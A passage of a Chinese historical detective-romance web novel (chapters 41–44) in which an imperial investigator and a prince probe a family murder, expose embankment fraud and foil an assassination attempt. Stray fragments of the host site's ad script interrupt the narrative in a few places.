“哦?是么?”容朗对她掩饰慌乱的动作满不在乎,甚至还笑了出来,“李少使接下来有什么打算?杨家的案子也不简单,说不定就和这次赈灾的事情有关。” “等卷宗来了再说。” 二人安安静静吃完了一顿饭。 容朗赖着不走。 “等卷宗送来了,我和李少使看完了再回去。” 自己还要仰仗他验尸。 李希言只能忍下。 她起身在桌边摸出棋奁。 “那王爷陪我来几局?” 赢你解气! “好啊!”容朗没有察觉她的心思,美滋滋地坐到了她的对面,“来吧!” 对方的笑容着实过于明媚。 李希言摸着棋奁,顿觉失算。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >这人……他是不是根本就不在意输赢啊? 二人下了两局。 李希言大获全胜,心里那股憋闷的气一下就散出去了。 “少使。”苗青在敲门,“苟县令把卷宗送来了。” “拿进来吧。”李希言放下棋子。 苗青拿着卷宗走了进来,隐秘地瞥了一眼容朗。 登堂入室的速度未免太快。 确实比那两个厉害些。 李希言拿起卷宗。 卷宗上的墨迹很新,字迹非常整齐。 苟维是临时又誊写了一次吧? “你先回去休息吧,明早要去堤坝,让方淳悄悄跟着。” 苗青明白,慢腾腾走了出去,关门的时候还特意颇有深意看了容朗一眼。 容朗发觉了,却一点儿都不在乎。 可见,瑞王的厚脸皮其实是随了谁。 “怎么样?”容朗借机凑过去,坐在她身边。 李希言把卷宗放到二人之间。 卷宗上关于那日的情况写的很详细。 八月十六早上卯时正。 莲姨娘醒来后准备去正房请安顺便去看看自己养在正房那里的儿子。 她一去,正房的婢女这才发现薛夫人和府里的孩子都不见了踪影。 众人都以为薛夫人带着孩子去了书房找杨利贞,就都过去了。 然而,他们敲了好久的门,书房都没有动静。 管事心中生疑,就让人把门撞了开来。 案发当晚,府里的人手极少。 除去府上的主子们,只有管事和孩子的奶娘和几个仆人在。 也因此,杨利贞的书房那晚没有人看守。 书房以及死者的卧室都没有被撬开的痕迹。 容朗看完沉默了良久。 “怎么越看越像是杨利贞做的……” 府里的人都中了迷药这一点不说,书房的门窗从里面锁住的,凶手怎么能够逃出来呢? 李希言却很坚定一点。 “动手杀人的绝对不是杨利贞。” “为何?”容朗提醒,“难道你还相信他真的和薛夫人感情很好?” 真的感情好就不会纳妾了。 子嗣不过只是说辞。 杨家那么多亲戚,没儿子过继一个不也一样吗? “我又不傻。不是薛夫人,而是孩子。”李希言面露不屑,“杨利贞性格极其古板保守,他的小儿就是他的命根子,他怎么舍得杀自己唯一的亲生儿子呢?” “你也觉得苟维说得有理?可是杨利贞说的神神鬼鬼那些话也算是什么?” “或许是凶手给他下了什么致幻的药物。” 二人都是不相信鬼神能杀人的。 就算要杀人,死的也该是杨利贞。 而不是无辜的薛夫人和孩子。 只有人…… “按照苟维的说法,这案子更说得通些。凶手杀死杨利贞的妻儿不仅能够让他更痛苦,还能够毁掉他最重视的名声。” 只有人才会有这么多的弯弯绕。 “那……我们要去查那个被他打死的妇人?” “先让他们悄悄去盯着,万一凶手就是那个妇人的亲友……就怕打草惊蛇。” 容朗提议道:“我觉得还得盯着杨家吧?说不定那人早就混进了杨家,不然他怎么下的药?” “是。”李希言揉了揉太阳穴。 这么重要的一点她怎么忘了。 “头疼?”容朗下意识伸手用拇指按住她眉头的红痣沿着眉弓揉到太阳穴。 李希言不禁眯起了眼。 好舒服。 理智回笼。 二人顿时清醒。 容朗讪讪收回手。 “攒竹穴……按这里很有用……” “王爷该休息了。”李希言端坐着,视线投射在还未完结的棋局上,“明日巡察河堤堤坝,要带上瑞王殿下。” 容朗乖乖起身,像是什么都没有发生一样。 “明日我会看好他的。李少使……好眠。” 41. 引蛇出洞 一大早,苟维就主动到了驿站门口等待。 李希言坐在下面喝茶,等着容朗。 过了好一会儿,容朗才带着一个小内侍走了下来。 这人身边不是只带了张锦吗? 李希言瞥了一眼,放下了茶盏定睛一看,差点笑了出来。 这不是那个臭小子扮的吗? 苟维偷偷瞅了一眼。 很好,活阎王今天心情好,他又能苟活……啊不,多活一日。 “下官见过王爷。” 整蛊了侄子的容朗心情也很不错,笑眯眯地摆了摆手。 “来晚了些,让你们久等了。” 李希言起身:“不晚。” 苟维弓着腰在前面引路:“河堤就在这儿附近,请二位随下官来。” 一行人是走着去的。 沿途是一个小小的集市。 人不多,但是样样都有,异常干净整洁。 “今年洪水来得猛,对苏州影响极大,幸亏陛下圣明,赈灾款来得及时,下官才能保住苏州百姓平安。”苟维的带着几分邀功的意味。 “确实不错。” 苟维见她满意,又巴巴地介绍起了集市。 “这儿本来是没有集市的,但是因为前面在修河堤,那些工匠苦力总要买些东西,所以下官就让那些失了生计的百姓免费在此摆摊子。” 李希言语气不明。 “希望苟县令事事皆能如此,以百姓为先。” 被她直直看着,苟维竟然一时不敢接话。 又走了不到一刻钟,就到了新修的河堤处。 浩茫茫的河水不住地奔流,两边的宽约数里,高约三丈的河堤已经初具规模,只剩下夯实这一道工序。 两岸边上的力工数量不多,但是都忙着做事,没有人在休息。 “速度倒是很快。”李希言问道,“对了,苏州这边的洪水是何时结束的啊?” “今年比往日时间更长些。七月初才结束。” 李希言顺着还未夯实的路往下走。 脚下的黄土有些湿润,每个人都脏了鞋。 “修建河堤的事情本官不懂,但是这河堤,看着就知道是好的。” 苟维连忙吹嘘。 “李少使,您放心,我们这河堤绝对不会有问题!这最底下的是干草裹的淤泥做基础,又往上堆青粉土黄土,最后再盖黄褐散土夯实。有些坡面我们还会加上石料来砌。别提多结实了。 “听上去不错。”李希言跺了跺脚下松软的黄土,“确实真材实料。” 苟维一脸轻松,更是殷切,不仅带着一行人把河堤逛了个遍,还饶有兴致地给一行人指着不远处的田地炫耀。 “这是我们苏州这边特有的圩田,别的地方见不到的。” 河道纵横交错,密布着大面积可以耕作的田地。 “苏州治下确实安乐,本官也算是能向陛下交差了。”李希言背着手,眼神都和善了不少,“本官就先回去了。” 苟维出言相留。 “李少使莫急!您好不容易来一趟,让下官尽一尽地主之谊……” “不必了。”李希言摆手,“我不喜应酬……不过……” 她扭过头看向卫川等人:“你们呢?” 卫川一下就明白了她的用意,立即笑着说道:“少使别拘着我们啊!” “你啊。”李希言浅浅一笑,“我拘着你还不是因为你爹的嘱托,到时候你有个什么,我回去后谯国公岂不是要拿我问罪?” 在一旁悄摸听着的苟维心思飞转。 谯国公的小儿子? 他上前说道:“李少使放心,只是在下官的府上品尝一下苏州特色而已,其他的都没有的。” 李希言故作犹豫之态,钓了他一会儿才点头应下。 “那好吧。不过,你们在苟县令那里也要遵守礼数,不可贪杯误事。” 卫川拱手,悄悄和她交换了一个眼神:“属下明白!” 李希言身边的绣衣使都跟着苟维走了。 路上只剩下她和容朗叔侄二人。 瑞王今日异常沉默。 走在路上一个字都不说。 “怎么了?”李希言有意逗弄他,“这个小内侍怎么不说话。” 瑞王抬起头,眼泪都在眼眶里打转。 “你们都欺负我。” 李希言一下笑了出来。 “你是人吗你!你还笑!”瑞王气得满脸通红。 平时脸上连个笑影儿都没有的人,见他扮成内侍就笑成这样! 过分! 还是容朗好心些,指着旁边琳琅满目的集市。 “你不去逛一逛?今日特意带你出来就是为了让你轻松些,好玩乐。” 瑞王立马被哄好。 “真的?不对啊!”他一下变了脸,“我扮做绣衣使也可以玩乐啊。” 被拆穿的容朗瞬间僵硬。 李希言给他圆谎。 “今日绣衣使都有事,你没看见卫川他们都去了苟维府上吗?” “可是,如果我扮成绣衣使不也可以去苟维府上玩乐吗?” 李希言上上下下打量了他一眼。 今日长脑子了? “咳。他们去苟维那里是有任务的。” “什么任务?”瑞王一下来了兴趣。 “诶?”容朗忽然指着前方的正在表演百戏的班子,“那是在做什么?” 瑞王被吸引了注意力,颠颠地跑了过去。 二人站在原地关注着他。 “李少使,你今日让卫川去苟维府上,是为了调查肖平之死吗?” “没错。那个所谓被轻薄的婢女就在他府上。” “为何要卫川去?”容朗环顾四周压低了声音,“方校尉在河堤,关校尉和苗校尉呢?他们二人更为适合吧?” “卫川合适,而且他们有更重要的事情要去做。” “什么事?” 将近正午,集市的人愈发多了起来。 街道上变得满满当当,视线被人群阻碍着。 李希言朝着他挑了挑眉。 “想知道?跟我来。” 她说完向驿站的方向走去。 容朗看了一眼不远处的瑞王,有些糊涂。 不等着他吗? 但是见李希言眼中的认真,他还是没有多问,跟着向前走去。 一直走到一家成衣店门口。 李希言才停下脚步,低头看向自己沾满了黄泥的鞋子。 “太脏了,得立刻换一双。你呢?”她抬起头,“你也买一双换换吧?” “好。” 李希言带着他走进店里。 店里只有老板守在柜台上,脑袋一点一点地打着盹儿。 她拍了一下柜面:“老板,拿两双皂靴。” 正打盹儿的老板一下就惊醒了。 “是……是您啊?” 老板一双三角眼飞速扫了一眼门外。 “二位个头儿高,脚也大些,适合二位的鞋都放在后头,劳烦二位随鄙人移步。” 容朗豁然开朗。 这是绣衣司的据点! 二人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 随着老板去了后院。 一进后院,老板谄媚的表情立即变得严肃。 “上官来此有何吩咐?” “昨晚的命令收到了?” “收到了,今早就开始布控,整条街都是我们的人。” 容朗心中一跳。 难道是…… 就在此时,外头忽的响起几道连续的敲锣声。 李希言拔出刀,向外奔去:“走!” 她循着锣声,几个拐弯拐到了一条小巷中。 小巷的尽头,是十几个拿着刀剑砍杀的人。 透过间隙,能看见在巷中挥刀的关风和与苗青。 二人一个护着瑞王,一个在前面抵挡攻击。 晚来一步的容朗一见此情形,眼睛都红了。 “冷静,要活捉。”李希言提醒他。 容朗深吸一口气:“我明白。” 话音刚落,二人同时出手。 李希言一刀扫向敌人的腿,一时之间血肉横飞,数名敌人一下跪了下去。 容朗趁机拳拳到肉,每一下都往要害招呼,想要将他们打晕。 被二人联手攻击,刺客瞬间溃散,想要逃窜。 然而巷口已经被后续赶来的绣衣使封住。 李希言甩了一下刀,刀身的鲜血滴流在地上。 刺客被夹击在中间,进退两难,咬了咬牙,准备拼命一搏。 可是李希言的刀比他们的想法更快,一瞬间就攻到了面前。 刀还未落下,刺客将头一偏,忽然口吐鲜血晕了过去。 这突发的情况弄得李希言都有些反应不及,一时愣住。 可诡异的情形还没有停止。 就在第一个刺客倒下后,其他刺客也同样倒了下去。 不过片刻。 原本还攻势凌厉的刺客们全部倒在地上,了无生气。 李希言谨慎地拿刀戳了戳脚边的刺客。 “真没气儿了?”容朗大着胆子伸手按在刺客的颈侧,手下没有任何跳动,“真死了。” 李希言皱起眉:“把尸体带回去。” 驿站。 众人都在李希言的房内,气氛凝重。 “刺客的后槽牙里都藏有毒囊,都是咬破毒囊后被毒死的。”关风和一脸倦色。 “什么毒?”李希言的脸色也不好看。 关风和叹气:“没见过,见所未见的毒。” 她摸出一个盒:“这是我们搜集的残余毒药。” 容朗接过问道:“他们有什么中毒的症状?” “那些尸体自己……腐烂了。” “什么?”容朗有些没听懂。 还是苗青详细说道:“我们把尸体刚刚搬到义庄的时候就发现那些尸体的表面就像是被什么东西腐蚀了一样,变得红肿,还不到一个时辰,那些刺客的面容都看不清了。” 李希言推测:“或许是本来就中了毒?没有及时服下解药?” 这是控制死士的一个办法。 “我见过这种毒。”容朗放下手里的盒子,拧着眉,“你收好。” 他没有继续说在哪里见过这种毒。 李希言没有追问。 “你们俩先下去休息吧。辛苦你们了。” “没有的事。”关风和舒眉一笑,“少使也早些休息。” “好。” 二人离开。 屋内只剩下李希言和容朗叔侄二人。 “王爷在哪里见过这种毒药?” 容朗开了口:“你还记得那个贾念信吗?” “他?” 42. 城隍杀人 “当时他虽然一把火烧了房子,但是却没有毁掉他的尸体。那具尸体表面也是红肿的,乍看上去像是腐烂了一样。但是我留了个心眼,亲手验了一次,是中毒。” 李希言倒不是太意外:“这些人跟他们果然是一伙的。” “那个……”坐在一边儿的瑞王弱弱举起手,“今儿到底是怎么回事啊。” “有人跟着我们,我就想了个办法引蛇出洞。” 瑞王指着自己鼻子:“我就是那个饵?” “本来就是冲你来的。” 容朗有些疑惑:“李少使是怎么发现的?这一路上连我的暗卫也没察觉有异。” 李希言起身推开窗户。 窗户外是一颗树冠茂密而巨大的树。 天已经黑了,看上去一大片黑糊糊的。 她敲了敲两下窗棂。 一个巨大的黑影从树影中窜出,站在了窗沿上。 是一只威风凛凛的老鹰。 李希言伸手抚摸着老鹰的头顶。 “你要谢谢破云。” “怎么厉害!”瑞王一下跑了过来,隔着一步远的距离,双眼放光地盯着破云。 “破云的眼睛最利,那些人一直鬼鬼祟祟跟着我们,虽然离得远但是逃不过它的视线。” 破云似乎是知道在夸自己,挺起胸膛,展了展翅膀。 “对了,它的伤好些了吗?” 瑞王心思纯良,对不小心弄伤了破云的事情很是愧疚。 李希言指了指破云的爪子:“小伤,破云性子野,恢复起来反而比那些家养的快。” 受伤…… 她不由看向了一边含笑的容朗。 也不知道他的伤好了吗? 容朗见她目光深沉地看着自己,以为她在想着今日之事。 “虽然这次的线索断了,但是能铲除了那些人也算是好事一件。” “也不是完全没有线索。” 李希言关上窗户,坐了回去。 瑞王一边听着一边试探着和破云打招呼。 容朗问道:“什么线索?” “我们离开沧州时,故意分出一路人装作是瑞王去向京城。那一个队伍至今未被袭击,反而是我们被袭。” “知道瑞王跟着我们的人很少。”容朗不禁先猜测道,“你这次带的人……” “都是我的亲信,而且没有人往外面传递过消息,破云一路看着的。” 容朗身边也只带了张锦和暗卫,瑞王身边的也是暗卫。 都是绝不可能背叛的人。 “你是说泄露消息的人是……哥哥那边?” “没错,是陛下那边出了问题。” “不如让张锦告知给哥哥吧?他干儿子现在就在哥哥身边做事。” “只说让陛下小心身边之人即可,不要说得太复杂。” 那些人已经知晓瑞王和他们在一起,再去做什么变动也没用,更重要的是皇帝的安全。 “好。” 安排完事情,李希言朝着瑞王招手:“过来。” 瑞王正和破云拉近了一点点距离,很是不舍。 “破云,回去休息。” 破云很听话,翅膀一展,隐没在树影中。 瑞王耷拉着脑袋,一步一步挪了过来。 “今日去河堤一行,你可有什么收获?” 瑞王老老实实回答道:“河堤修得不错,百姓灾后安置也很不错,土地也恢复了耕作。苟维还算合格。” “河堤没问题?”李希言眯着眼睛。 瑞王是个上过学堂的人。 夫子反问就是肯定。 他立即改口。 “有问题,” “来,说说有什么问题?” “啊……嗯……”瑞王结巴了起来。 李希言早就看出他心里的小九九,只装作不知。 “随便说,什么理由都行。” 瑞王想破了脑袋也没发现哪里不对,只能胡乱扯了个理由。 “那个苟维一看就不是什么好人,肯定在河堤上做手脚了。” 李希言也不为难他,引导着他。 “我问你,就今日那种河堤,修一里需要几日?” “再快也要十二日以上。” “那今日那些河堤有多长?” “四里左右,还有个堤坝……”瑞王一下反应了过来,“这样算下来工期再怎么也要两个月半以上。汛期才结束一个多月啊!而且结束后再怎么也要缓几日才能开始动工……” 李希言继续引导他:“现在你再想想现场有什么不对劲的地方。” 瑞王拼命回忆着。 黄土,建造过程,干草淤泥…… “没有淤泥!没有淤泥的痕迹!一般情况下,修筑河堤用的淤泥就近取材,这样既可清淤降低河床高低,还能节省成本。但是现场根本没有清淤的痕迹,只有黄土!没有草裹泥……这河堤很容易垮塌。可是……”瑞王挠了挠头,“淤泥和干草篾条已经很便宜了,他们为什么在这上面作假?” “草裹泥虽然不贵,但是还要绑扎,需要的人力更多。他们想要快点把工程封顶,以免我来巡察的时候发现堤坝内里的问题。” “是哦。” 这些人悄悄在堤坝内部做了手脚,又怕来监察的官员发现,所以才会赶工。 钦差就算是视察也不会把堤坝破开看里面的结构。 瑞王又问道:“那没有草裹泥,他们用什么填充的内部啊?” “苏州和无锡比,少了什么?” “少了什么……没少什么啊。” 容朗看他急得额头冒汗,小声提醒:“你刚下船的时候,说苏州哪里好?” 苏州? 瑞王恍然大悟。 “我说苏州没有无锡烧秸秆的味道!他们把百姓的秸秆弄去填充堤坝了?”他狠狠骂道,“真是丧良心!连秸秆都要抢。” “秸秆可不是什么便宜货,喂家畜烧火都要用的。” “那他们就更过分了!”瑞王十分殷切地给李希言按着肩膀,“李夫子,咱们这次……” 李希言躲开。 “无事献殷勤。这次事情复杂,不忙着动手。” “啊?”瑞王一脸失望。 容朗帮着赶人:“你该回去休息了。” “等一等!”瑞王双手合十,“我再问一件事,就一件事。” 李希言无奈。 “什么事?” 瑞王伸长了脖子:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 那个城隍杀人的事情是怎么回事啊?” 李希言一脸莫名:“什么城隍杀人?” “我前日留在驿站听驿站的人说的。”瑞王眉飞色舞,“说是城隍爷看不下去杨利贞草菅人命的行为,决定出手除惩罚此人。他化作神仙的模样入了杨利贞的梦,让他帮忙斩妖除魔。杨利贞欣然应允,提起剑就把那些妖魔杀尽,没想到等他醒来那些妖魔竟然就是他的妻儿!” 李希言对着他的脑袋来了一下。 “还真信这些!” “我没信!”瑞王委屈地摸着脑袋,“我又不是没脑子,就算是要城隍要惩罚他,也该杀他本人啊。这一听就知道是他杨利贞得罪了人招来的祸事。” “不过……”容朗问道,“你听说的也是城隍爷杀人?” “对啊,城隍爷啊,就是那天我们去那个城隍庙的城隍爷。” “黄歇是楚国人。” “穿着曲裾深衣。” 李希言与容朗对上视线。 这个案子大有问题! “你们在说什么呢?”瑞王站在二人中间,打断二人的对视。 容朗直接把他往旁边一扯。 挡视线。 “今日来了消息,在城隍庙里祭拜的村民有就是那个被害人的娘家人。”李希言将视线转向容朗,“刚好有了线索,明日就去查这案子吧。” “刚好?”容朗朝着她勾起嘴角,“李少使这是在找理由。” “杨家的案子你在查啊?” 瑞王这一次干脆坐到了二人中间,将容朗的视线挡得严严实实。 “他家里到底是怎么回事儿?” 李希言也没有瞒着他,简单说明了情况。 “听上去很像杨利贞干的……但是……应该也不对啊,我听说他和他夫人感情很好的。” 容朗讽刺道:“好到纳妾和其他女人生孩子?” “那个……我爹不也有其他皇子吗?我还有个大哥呢。我爹和娘感情还不是很好。” “别提这些。”李希言生怕等会儿又扯出什么皇家秘密,“杨利贞那样的小人有什么资格和陛下相比?” 容朗见她不愿谈起皇家,也转移了话题。 “不过,这案子应该和杨家夫妇的感情脱不开关系,我们还是要好好查一查二人关系到底如何。” “没事。明日我去问薛夫人身边的陪嫁就是了。她和我算是认识。” “说来,你怎么和薛夫人会认识?” “薛夫人是王家六娘的表姑,他们关系一直很亲厚。” “难得,薛家远在沧州,她们姑侄关系倒是不错。” “薛夫人的母亲是王家人。她自幼丧父丧母,王家老夫人怕这个外孙女受欺负就把她接回了京城居住。” 容朗有些惊讶:“那王家就这样把薛夫人嫁给了杨利贞?” 王六娘的父亲可是王家家主,不是旁系,怎么会把自己丧父丧母的表妹嫁给这种人。 “薛夫人算什么,六娘还是他的亲女儿……”李希言的声音如同在哀叹。 从面子上来看,杨利贞是状元,相貌不差,官位不低,出身杨家,不差的。 只是这一段姻缘背后是苦还是甜,这其中滋味只有薛夫人自己知晓。 43. 声东击西 第二日一早。 瑞王被扔在驿站里严密保护。 李希言带了几个手下和容朗直接去了杨家。 这次,来开门的是杨家的管事。 他已经换上一身孝衣,看见来者还吓了一跳。 “李少使?” 李希言微微颔首:“打扰了。” “您这是来……” “自然是为了贵府的案子。” “案子?”管事愣了一下,“您是说夫人被杀的事情?这不是……” 他神色慌张。 想必是已经听到了外头的传言。 “你也觉得外头的传言是真?” “这……”管事局促地在衣裳上擦了擦手,“不敢不信啊。本来我这个做奴才的也不该说阿郎的不是,可是……阿郎有时候做事确实是太过激了些。这不是……招惹了神仙。” “这世上有没有神仙不一定。”李希言微微向前倾身,“但是仇人肯定是有的。” “您是说阿郎是被报复了?” 这好像也很有可能。 “可能。” “可是阿郎所言……” “薛夫人中了迷药。” “什么?” “凶手给府上的人下了迷药,而你家主子也可能是中了其他的药才会有那样的幻觉。” 管事一副将信将疑的模样,又认认真真打量了几人一眼才侧开身让出一条路。 “各位请。” 李希言提脚跟上:“劳烦带我们去出事的书房。” “书房就在阿郎的院子里。” “贵府的布局似乎有些局促?” 管事腼腆一笑:“是有些。杨府不大,主院里有阿郎的卧房和书房还有夫人的卧房,家里几个孩子也住在主院。东院住的莲姨娘和婢女婆子,其他的的院子是预备给小主子们的,也就前头招待客人的院子大些。” 关风和联想到原来的关家,目露柔光。 “一家人住在一起也是热闹,没那些深门大院那么疏离。” 这话却戳中了管事的伤心事,让他一时伤感落下泪来。 “是啊,可惜夫人和小主子们都……” 他连忙擦干眼泪,“鄙人眼窝子浅,大人们恕罪。” 李希言毫不在意:“本就是我们来得不巧。” “哪里的话。”管事一脸诚心,双手合十,“若是李少使真能抓到凶手,也算是告慰夫人和小主子们的在天之灵。” “薛夫人也算是我的长辈,我自然会尽力找出真凶。” 已经到了主院。 主院的正房紧闭,门口守着一个婢女,门缝里时而传出几丝药味。 杨利贞还居住在里面养病。 东厢房和西厢房的门大开着,一眼就可以看见里面的卧房。 管事看着李希言严肃煞气的脸,意外地露出几分慈爱。 “原来总听夫人和六娘子提起您,说您断案如神……” 李希言眼底闪过一丝黯然。 容朗见状问道:“管事,书房是哪一个厢房?” 管事顿觉失言,立刻回答道:“书房在后面。” 他带着一行人沿着游廊穿过一扇门,到了正院背后。 面积很小,但是池塘假山皆有,且造景颇有趣味。 独有一栋二层小楼背靠着府墙伫立,三面皆是池塘,其正门有一座小桥可以跨越池塘。 小桥两边还载着几颗柳树。 只是假山看上去有些怪异……圆溜溜的。 管事介绍道:“这儿原是后院,但是太小了,阿郎就把这儿划进了主院,又将书房搬到了这里。” “这假山?” 管事的眼神带着怀念。 “小郎君最是调皮,爱在假山里玩耍。他上蹿下跳的,阿郎怕他受伤,就让人把这些太湖石都给磨了。要知道,阿郎最宝贝这些太湖石了……” 即使是深厌杨利贞的李希言听着也不免动怀。 那几个孩子真的可怜。 “是我多话了。”管事如梦初醒,调整好情绪,挤出一个笑,“自从出事后,鄙人就把书房锁了起来。里面味道可能有些……大人注意些。” 他小心引着一行人走过小桥到了书房门口。 腐臭的血腥味已经透过门缝传了出来,门外飞着不少苍蝇。 容朗掏出一方素帕递给李希言。 李希言没有拒绝,捂住了口鼻。 “多谢。” 站在后面的关风和有些奇怪,小声和苗青说道,“我们咋办。” 苗青眼神古怪看了她一眼。 “袖子。” 是哦。 关风和如同往常一样直接用袖子捂住口鼻。 看着前面拿着帕子捂住口鼻的李希言。 她忽然感觉和少使之间的距离变远了。 管事打开了门。 众人都默契地闪开,让里面能够透透气。 等了一会儿,李希言才走了进去。 一楼很干净,但是同时也什么都没有,就放着待客的桌椅。 “这一楼?” “夫人他们是在楼上出事的。” 他走在前面,带着众人从狭窄的楼梯走上二楼。 腐臭味几乎要透过捂着口鼻的手帕。 李希言忍不住侧过头,长出了一口气才转头。 只见二楼一片狼藉。 摆件也好,书也好,落得到处都是,架子也东倒西歪。 地上的血迹已经成了黑褐色,黏在地板上,血迹之多让人无从下脚。 李希言只能直接踩过去走向窗户。 窗户外就是池塘,池塘边上就是府墙。 现场其实是有外来人的脚印的。 她垂下眼。 窗框上还残留着一枚不完整的脚印。 脚印只有脚尖的部分,印迹相当的浅。 凶手会轻功。 她身后的人也开始各自的行动。 容朗蹲下在地上察看血迹的形状,推测着。 关风和直奔书架,翻找着书籍。 其余的绣衣使也在到处搜寻线索。 管事看得心里发怵。 好歹也是朝廷官员。 怎么做事跟土匪似的。 “管事。”李希言忽然叫他过去。 “嗯?您有什么吩咐?” “八月十五那晚府里的人都吃过什么?” “月饼吧?只有月饼是大家都吃过的。” “同一个?” “是啊。我们府上每年吃月饼都是主子们分完,剩余的再赏给我们分。” “那月饼是厨房做的?” “不是,是在外面订的。” “每年如此?” “每年如此,到了苏州,主子们也改不了京城的口味,不管是糕点还是月饼都是在外头的一家和月斋订的。” “月饼经过哪些人的手?” “和月斋的伙计送来后就放在厨房了,等到晚上的时候才拿出来的,阿郎亲手分的。” 厨房来来往往多少人…… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 李希言视线飘了一下,将池塘收入眼底。 “管事帮我找个人过来。” “什么人?” “薛夫人身边的婢女——阿蝉。” 管事追问:“可还要见什么人?” “先问问阿蝉。那晚留在府中的人……等会儿再叫来。” “鄙人明白了。”管事脚步匆匆地离开。 背影在小门消失。 李希言转身,面对着窗户,忽然一跃,踩着窗棂跳了下去。 一直关注着她的容朗大惊,冲到窗户跟前大喊:“李希言!” 他这样大的动静吓得旁边的绣衣使纷纷看了过来。 离得最近的关风和撇了撇嘴:“王爷,少使会武功,就是真摔下去也不会怎样……” 这人急什么啊。 其他的绣衣使也面露古怪。 已经站在池塘边上的李希言完好无损,鞋子上连水渍都没有,正抬着头看着自己。 容朗耳朵一下就烫了起来,讪笑道:“是我一时情急了。” 苗青忍住翻白眼的冲动,清了清嗓子:“快继续找线索。” 知道得太多好累! 绣衣使们这才继续忙自己的事情。 而还在下面的李希言目光却锁定在池塘里的一块石头上。 文人们如今有个风尚——养苔藓。 杨利贞亦不能免俗。 这片池塘里有不少石头上都长满了青苔。 李希言在意的那一块石头尤其大,差一点点就要露出水面,位置就在窗户正下方。 她看了一眼四周,准备脱鞋下水。 “李少使。”容朗的声音从背后传来。 李希言转过头:“王爷?” 他的脸上有些严肃,一双总是含着笑的眸子此时已经笑意全无。 “你要下水。” “嗯,劳烦王爷避让。” 容朗根本没有避让的打算。 他脱下外衣,扎好衣摆,迅速脱下鞋,一下跳进了水里。 水面不高,只在人小腿处。 李希言皱了皱眉:“多谢王爷了。” 容朗指向中间那一块石头,面无表情:“是不是要那一个。” “嗯……”李希言竟然觉得心里有些发虚。 自己怕什么啊? 容朗将袖子扎好,双手将石头小心翼翼抱了起来。 李希言急忙在池塘边接着。 身边的人气压有些低,她有些不敢看他,自顾自观察起了石头。 果然! 如她所料,石头上的青苔印着半枚清晰的脚印! 她在心里估算着。 看脚印应该是个是个五尺八寸左右的男子,会武功且水平不低。 “找到线索了吗?”容朗已经收拾妥当,只是还是冷着脸。 李希言有些不自在,声音都低了下去:“会武功的男子,身长五尺八寸左右。” 看着眼前微低的头,正在生闷气的容朗气一下就散了。 对方这么多年都是一个人……要不是足够独立也不能有如今的地位。 是他的错…… 没有早点找到她。 “李少使,有些时候可以适当依赖一下……朋友。” 李希言听他言语恢复了往常的样子,心里一松,“嗯”了一声。 “虽然自强很好,但是也会很累。” “少使!”关风和的声音从楼上传来。 二人仰起头。 关风和拿着几本账册朝着他们挥舞。 44. 盘问 绣衣使们都下了楼,站在院内。 关风和把账册塞给李希言。 “少了两本,刚刚我们把整个书房都翻了个遍,也没找到缺失的两本。” “这是?”李希言只把东西揣进怀里,没有查看的打算。 “丢的是吴县去年的茶税。” 吴县? 李希言眼中闪过一丝精光。 吴县产茶,茶税可是大头。 “你这儿呢?”关风和扭头看着池塘边上湿哒哒的石头。 “凶手的脚印。”李希言解释道,“凶手行凶后,为了避免留下过多痕迹,直接从二楼跳下,踩在这块石头上借力一跃,跃过的府墙。” 容朗忽然说道:“凶手也是直接从窗户上的二楼?” “是,一楼没有任何痕迹。” “那他怎么准确地知道杨利贞在二楼呢?” 李希言心中一动。 他们第一次来这儿都是下意识认为一楼才是杨利贞主要活动的地方。 “府中内鬼,来过书房的官员,比如……” 李希言突然停下话头。 “李少使。”管事带着一个高个健壮婢女走了过来。 还未走进,那婢女就如同见了亲人一般,三步并作两步跑了过来,拉着李希言哭诉。 “李小娘子……娘子她……” 李希言沉默地拍着她颤抖的脊背。 当时六娘死了。 她身边的如意也是这样拉着她哭诉。 只是,她没办法帮六娘去做什么。 但是如今…… 不管是谁做下这样的案子。 她一定要把凶手……绳之以法! 阿蝉哭了许久才止住泪。 管事已经很有眼色地离开了,她也没了顾忌。 “外头的人都说是杨利贞挨报应,夫人和小主子们才死了的。可是,凭什么他杨利贞做丧尽天良的事要报复到我们主子身上!要死也该是他死啊!” 李希言顺着她的话问。 “外面都说他们夫妻感情好?如今一看果然不是如此?” 阿蝉把眼泪一抹,点了一下头。 “李少使确实是眼明心清之人。杨利贞是为了好名声才做出那样的姿态的,实际上……别说对夫人,他对莲姨娘都不怎么样。这人就是个冷心冷肺的东西。” “他对莲姨娘也不好?” “嗯。夫人毕竟背后还有王家和薛家在,再加上是正室,他多少还有顾忌。可是对莲姨娘就不是如此了,他一直把莲姨娘当做奴婢一般,动辄打骂,还不准她见孩子。” “那他对薛夫人呢?” “打是不敢的,但是平素里可没少骂。这人又读过书,骂得又让人抓不到把柄,反正听上去就觉得不对。夫人随便做什么他都要说个错处,而且夫人还不能不耐烦,一不耐烦,他就说夫人小心眼儿……要不是有几个孩子在,夫人说不定老早就……” 阿蝉对杨利贞的意见很大。 也不算是没来由地。 处处贬低人本身就是一种施暴。 李希言拉着她的手问道:“八月十五那晚,离席后,薛夫人应该是回了自己房间,怎么又会去书房呢?” “我也不知道。”阿蝉面露迷茫,“那晚回了房后,夫人让我们去休息。我离开的时候,夫人正带着小主子们练字,说一会儿就睡。回房后,我一觉就到了天亮。” “你家夫人常去书房吗?” “偶尔会去,一般都是为了孩子的课业。在孩子面前,夫人一向都是打落牙齿活血吞……” “那晚分下来的月饼可有人没吃?” “没有,都吃了的,阿郎亲手赏的,谁敢不吃啊?况且那月饼确实滋味不错。” 李希言似有所悟,换了个方向问道:“那个莲姨娘是什么来历?” “说到这个还真是奇怪。”阿蝉抿了抿嘴唇,“莲姨娘是他从外面带回来的,说是没了爹娘的良家女子,可是……我瞧着不像。” “怎么不像?” “虽然当时过明路的时候,确实有莲姨娘的户籍,是个良民,可莲姨娘的做派像个……反正不像个良家子。”阿蝉红着脸,“她人还是不错的,只是她连很贵的胭脂水粉都认识,真的不像个普通人家的娘子。” 